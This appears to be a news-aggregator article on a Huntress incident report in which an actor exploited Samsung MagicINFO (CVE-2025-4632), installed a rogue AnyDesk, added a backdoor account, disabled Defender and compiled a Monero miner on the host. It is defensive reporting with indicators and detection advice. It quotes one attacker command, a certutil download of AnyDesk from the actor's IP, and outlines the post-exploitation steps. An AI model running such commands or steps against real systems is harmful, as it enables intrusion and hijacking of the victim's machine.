Security 1 publisher2 min readPublished September 24, 2026 at 8:49 AM PDT

Threat actor compiled its Monero miner on the victim endpoint after exploiting CVE-2025-4632

Huntress traced a September 2026 intrusion in which the actor compiled a Monero miner on the endpoint, using a MagicINFO flaw Samsung fixed 16 months earlier. The build step is loud in telemetry, but it ran only after Defender had been disabled.

The Watch · Security desk

Photograph accompanying Threat actor compiled its Monero miner on the victim endpoint after exploiting CVE-2025-4632 — Photo: huntress.com

What happened

Huntress says a managed endpoint alerted early in September 2026 on activity originating from its Samsung MagicINFO Premium installation, reportedly tied to CVE-2025-4632, an arbitrary file write as system authority.
The actor needed three tries to pull AnyDesk from 194.87.89[.]30, after Microsoft Defender removed a certutil download command and then a PowerShell Invoke-WebRequest command.
The actor then compiled the Monero miner on the endpoint itself, running Silent XMR Miner Builder.exe, a Windows builder linked to the open-source SilentXMRMiner project.
Huntress reported the first intrusion and advised remediation; eight days later the same endpoint came back with different post-compromise activity through the same access vector.

Compiled by The WatchSomething wrong?How this is made

Why it matters

capability Building on the host hands the actor a miner fitted to that machine, including its CPU architecture, so each victim can end up with a different binary to match against.
constraint The compile step is only detectable where telemetry keeps recording after Defender is turned off, and in this chain Defender was disabled before the builder ran.
decision Fixing the file-write bug does not evict this actor: responders have to remove the rogue AnyDesk and the oldadministrator account, which share a password.
exposure Any unpatched MagicINFO Premium server is reachable this way through its embedded Tomcat, and the resulting commands run under tomcat9.exe rather than a user shell.

The process tree did the identification. The successful AnyDesk download ran with tomcat9.exe as its grandparent process, and the command that set the AnyDesk password had tomcat9.exe as its parent, which is what sent Huntress SOC analysts back to the MagicINFO flaw ^[14]^[17]. MagicINFO is a Java web application deployed on an embedded Apache Tomcat server, so anything driven through the bug executes out of that service ^[15]. CVE-2025-4632 writes an arbitrary file as system authority ^[7].

Samsung fixed CVE-2025-4632 in May 2025, after the fix for an earlier flaw, CVE-2024-7399, was found to be incomplete ^[8]. The alert on this endpoint came early in September 2026, about 16 months later ^[6]^[21]. Huntress has published post-exploitation detail on MagicINFO vulnerabilities before ^[16].

Defender worked until it was switched off. It removed the certutil download, then removed the PowerShell Invoke-WebRequest download ^[11]^[12]. The third attempt succeeded, and Huntress illustrates it with an EDR detection; the write-up does not include the command line for that one ^[13]. Silent XMR Miner Builder.exe only ran after SystemSettingsAdminFlows.exe had been used to disable Defender ^[19]^[20].

That ordering decides who sees the miner build. Huntress wrote that the compile processes "resulted in a significant spike in activity" and were "quite noisy from an EDR telemetry perspective" ^[5]. The noise is several .NET Framework utilities and an array of C compilers running under a builder associated with the open-source SilentXMRMiner project ^[3]^[2]. What the actor buys with it is a binary tuned to the host, including for CPU architecture ^[4].

For a shop whose only endpoint telemetry is Defender, that whole stage is missing from the record, because by then Defender is off ^[19]. The catchable stages were the quiet ones at the front, and Defender caught two of the three download attempts there ^[22]. The recorded indicators are narrow: the AnyDesk payload served from port 8899 on 194.87.89[.]30, and a local account named oldadministrator holding the same password as the rogue AnyDesk install ^[10]^[11]^[18].

What to watch

Whether Huntress publishes the method behind the third, successful AnyDesk download, which its write-up shows only as a detection.
Whether other MagicINFO intrusions show on-host compilation, which would move local builds from one actor's habit to a campaign pattern.
Whether the same endpoint is reported a third time once the rogue AnyDesk install and the oldadministrator account are removed.

Claim ledger

Ranked by verification strength, evidence, and original report placement.

[2]
The threat actor compiled the cryptominer directly on the endpoint, running commands via Silent XMR Miner Builder.exe, a Windows builder for deploying a Monero (XMR) cryptominer commonly associated with the open-source SilentXMRMiner project.
ReportedSupported2 sources— sign in to open View cited source
[3]
The builder executed several .NET Framework utilities and an array of C compilers.
ReportedSupported2 sources— sign in to open View cited source
[1]
Huntress researchers investigated an incident in which the threat actor gained initial access by exploiting a known Samsung MagicINFO vulnerability, installed a rogue AnyDesk instance on the endpoint, and aimed to deploy a cryptominer.
ReportedSupportedView cited source
[5]
Huntress wrote that the compile processes "resulted in a significant spike in activity" and were "quite noisy from an EDR telemetry perspective".
ReportedSupportedView cited source
[6]
Early in September 2026, a managed endpoint was alerted for activity that originated from the Samsung MagicINFO Premium installation on the endpoint.
ReportedSupportedView cited source
[7]
The activity was reportedly associated with CVE-2025-4632, a Samsung MagicINFO vulnerability enabling attackers to write an arbitrary file as system authority.
ReportedSupportedView cited source
[8]
CVE-2025-4632 was fixed in May 2025, after an initial, earlier flaw CVE-2024-7399 was found to have an incomplete fix.
ReportedSupportedView cited source
[9]
The customer was informed of appropriate remediation actions, but eight days later the endpoint was again reported for different post-compromise activity tied to the same access vector as the previous report.
ReportedSupportedView cited source
[10]
It took the threat actor three attempts to download AnyDesk from 194.87.89[.]30.
ReportedSupportedView cited source
[11]
The first attempt ran certutil -urlcache -split -f http://194.87.89.30:8899/anydesk.exe to C:\ProgramData\AnyDesk.exe, and the command was quickly removed by Microsoft Defender on the endpoint.
ReportedSupportedView cited source
[12]
The second attempt used PowerShell Invoke-WebRequest against the same URL and was again detected and remediated by Microsoft Defender.
ReportedSupportedView cited source
[13]
Huntress illustrates the threat actor's third, successful AnyDesk download attempt with an EDR detection figure; the write-up's text does not include a command line for that attempt.
ReportedSupportedView cited source
[14]
The grandparent process of the successful download command was tomcat9.exe, showing the command was executed through the Apache Tomcat service that Samsung MagicINFO runs on top of.
ReportedSupportedView cited source
[15]
Samsung MagicINFO is a Java web application and, like many enterprise Java apps, is deployed on an embedded Apache Tomcat server.
ReportedSupportedView cited source
[16]
Samsung MagicINFO is digital signage and content management software, and Huntress has previously detailed post-exploitation activities for vulnerabilities found in the platform.
ReportedSupportedView cited source
[17]
The parent process of the command that set the AnyDesk password was tomcat9.exe, which again pointed Huntress SOC analysts to the MagicINFO vulnerability.
ReportedSupportedView cited source
[18]
Immediately after setting the AnyDesk password, the threat actor created a new user account named oldadministrator, using the same password for the account as for AnyDesk.
ReportedSupportedView cited source
[19]
Following the installation of AnyDesk, the threat actor disabled Microsoft Defender via SystemSettingsAdminFlows.exe.
ReportedSupportedView cited source
[20]
Once Windows Defender was disabled, EDR telemetry showed Silent XMR Miner Builder.exe run from the newly created user's Documents folder.
ReportedSupportedView cited source
[21]
About 16 months passed between the May 2025 fix for CVE-2025-4632 and the early September 2026 alert on this endpoint.
DerivedSupported1 source— sign in to open
[22]
Microsoft Defender blocked two of the threat actor's three AnyDesk download attempts.
DerivedSupported1 source— sign in to open
[4]
Compiling a cryptominer on a victim's endpoint could let the threat actor customize it based on the target environment, such as optimizing for the endpoint's CPU architecture.
ReportedInsufficientView cited source

Sources

Publishers with included, body-backed reporting in this cluster.

huntress.com
1 article · September 24, 2026
The Not So Silent Miner: Threat Actor Compiles Cryptominer on the Endpoint

Ask Clarity

Have a question this piece left open? The answer comes from its reporting and claim ledger — nothing else.

Try

Clarity analysis

How the coverage leans and what the record actually supports. Read the methodology

Perspective Coverage

How much of the coverage speaks to builders, operators and investors. It measures emphasis, not whether the story is right.

For anyone writing detection logic, the useful part is the process tree. Silent XMR Miner Builder.exe ran from a freshly created user's Documents folder and spawned csc.exe and cvtres.exe, then donut.exe, tcc.exe and MinGW64's cc1.exe and gcc.exe, all as children of an unsigned parent. Huntress wrote that the result was "anything but silent from an EDR telemetry perspective". The builder traces to the public SilentXMRMiner project, so the toolchain is known, and the finished miner ran under explorer.exe with a full XMRig-style argument string pointed at auto.c3pool.org:19999.

Reality

Evidence, adoption, hype gap, incentives and confidence, each read independently from the current record on the scale shown beneath it. How these are measured.

Evidence66

0100

Concrete telemetry, single responder

Huntress prints the two blocked command lines, the download host, the process lineage back to tomcat9.exe, the rogue account name and the miner's full argument string. That is more specificity than most incident posts carry. It is still one MDR provider describing one of its own customers, nobody outside has examined the host, and the successful third download appears as a screenshot rather than a command line.

Adoption28

0100

One host, hit twice

The exploitation evidence is a single managed endpoint, reported twice in eight days through the same entry point. Huntress notes it has documented MagicINFO post-exploitation before. That is a pattern, though its size, including how many MagicINFO servers still run pre-May-2025 builds, is unmeasured in this account.

Hype gap

Topics and entities

Follow any of these and your For You feed starts watching them — no settings page required.

Topics

security
Huntress rebuilt a 175-endpoint INC ransomware case from scheduled tasks and a driver fragment
1 publisher
build
An infected ScreenConnect guest pushes scripts up the support session to the operator's host
1 publisher
science
An attacker used a planted AWS key five minutes after it appeared on GitHub
1 publisher
security
Settra ransomware operators ran two intrusions through the open-source MeshAgent RMM
2 publishers

Threat actor compiled its Monero miner on the victim endpoint after exploiting CVE-2025-4632

What happened

Why it matters

What to watch

Claim ledger

Sources

Topics and entities

Topics

Entities

Claim ledger

Sources

Topics and entities

Topics

Entities

Perspective Coverage

Reality

What happened

Why it matters

What to watch

Claim ledger

Sources

Let Clarity write the post for you.

Topics and entities

Topics

Entities

Related stories

Claim ledger

Sources

Let Clarity write the post for you.

Topics and entities

Topics

Entities

Related stories

Perspective Coverage

Reality